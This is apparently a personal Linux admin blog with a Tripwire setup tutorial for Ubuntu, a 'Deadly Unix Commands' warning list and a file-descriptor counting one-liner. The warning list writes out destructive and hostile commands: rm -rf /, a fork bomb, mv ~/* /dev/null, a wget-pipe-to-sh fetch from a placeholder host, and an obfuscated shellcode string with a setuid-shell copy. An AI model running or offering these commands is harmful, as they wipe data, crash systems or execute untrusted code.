Tripwiring your linux box

Privilege escalation, trojan’ed SSH daemons, key loggers… While the focus is still mostly on MS platforms, Unix boxes aren’t free of exploits. As they are made popular by Macs and ever more approachable distributions like Ubuntu, they become more of a focus. The large share of the server market they represent is a considerable source of information that is mouth-watering to hackers.

A good tool in the fight against ever evolving malware is Tripwire (the open source version cause we’re cheap). It takes the signature of key files on your systems (configuration, binaries) and checks them regularly for changes. Its major strength is the fact that no matter what exploit was used to compromise a certain binary, if this binary is infected, tripwire will go off. Modern antivirus softwares look for specific signatures of known infections, and there are so many of them that they only look for the ones that are thought to be in the wild at any given time. They also are in reactive mode against 0days and usually take a few days to adjust. Their behavioral analysis methods are based on heuristics and generate too many false positives to be worthwhile.

Tripwire doesn’t care what the infection is, it just goes off if something changed. This is simple and efficient. Now it should only be one piece of a comprehensive security policy.

In this article we’ll look at getting it installed and going on Ubuntu in a matter of minutes. You’ll want to be root for all this.

——————————————

First, get the package:

aptitude install tripwire

It’ll ask you for the passphrases used to secure itself.

You’ll end up with these config files in /etc/tripwire:

——————————————

Edit /etc/tripwire/twpol.txt to define which areas to keep an eye on, a pretty ok default is provided but needs some tweaking for Ubuntu and personal preference. I’d publish mine but hey, that’d be pretty stupid. Just keep in mind that you can use an exclamation mark “!” to negate a line, let’s say you want it to look at /etc but not /etc/shadow (user will want to change passwords in most cases) you’ll have a rule that looks like that:

{
/etc        -> $(SEC_BIN) ;
! /etc/passwd ;
}

——————————————

When you’re done, run:

twadmin --create-polfile -S /etc/tripwire/site.key /etc/tripwire/twpol.txt

This will create the secured policy file based on the text file you just edited.

——————————————

The config file (/etc/tripwire/twcfg.txt) can be edited too but the defaults are nice too. When done run:

twadmin --create-cfgfile -S /etc/tripwire/site.key /etc/tripwire/twcfg.txt

Again, this creates it secured equivalent.

——————————————

Make sure that the created file are only readable/writable by root

chmod 600 /etc/tripwire/tw.cfg /etc/tripwire/tw.pol

Good practice dictates that you also should be removing plain text configuration files but you’ll want to keep them around for a little while, as you tweak your original config.

——————————————

Finally, you can initialize the database with:

tripwire --init

What this does is take a snapshot of everything you’ve specified in the policy file. If any of it changes, you’ll be notified.

——————————————

The following will run the check for changes manually.

tripwire --check

When you installed the package with aptitude, /etc/cron.daily/tripwire was automatically created to have this run everyday, root will received a mail report every day.

——————————————

If you want to make a change to the base config:

edit /etc/tripwire/twpol.txt
twadmin --create-polfile -S /etc/tripwire/site.key /etc/tripwire/twpol.txt
tripwire --init

If you want to update the base config, for example to acknowledge changes that happened on the box:

tripwire --update --twrfile /var/lib/tripwire/report/<hostname>-<date>-<hour>.twr

Deadly Unix Commands

  • the oldie but goodie
rm -rf /

will recursively/force erase starting from the root directory

  • the obfuscated oldie but goodie
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

same as the previous one but harder to tell what it actually does

  • the fork bomb
<code class="plain plain">:(){:|:&};:</code>

forks processes until the box dies. note that this command should not result in permanent damage unlike the other ones.

  • running code from a remote source
wget http://remote_source.com/lulscript -O- | sh

lulscript will be executed on the local machine

  • the one you don’t need root for
mv ~/* /dev/null

sends the relative home directory into a black hole

process file descriptor count

I’ve recently had to deal with a process leaking file descriptors. The following command came in handy as a quick way to count how many file descriptors a process is using.

Let’s say that we want to count them for the process(es) called firefox:

ps -ae | grep firefox | perl -lane 'print $F[0]' | while read filename; do ls /proc/$filename/fd; done | wc -w

TADAA!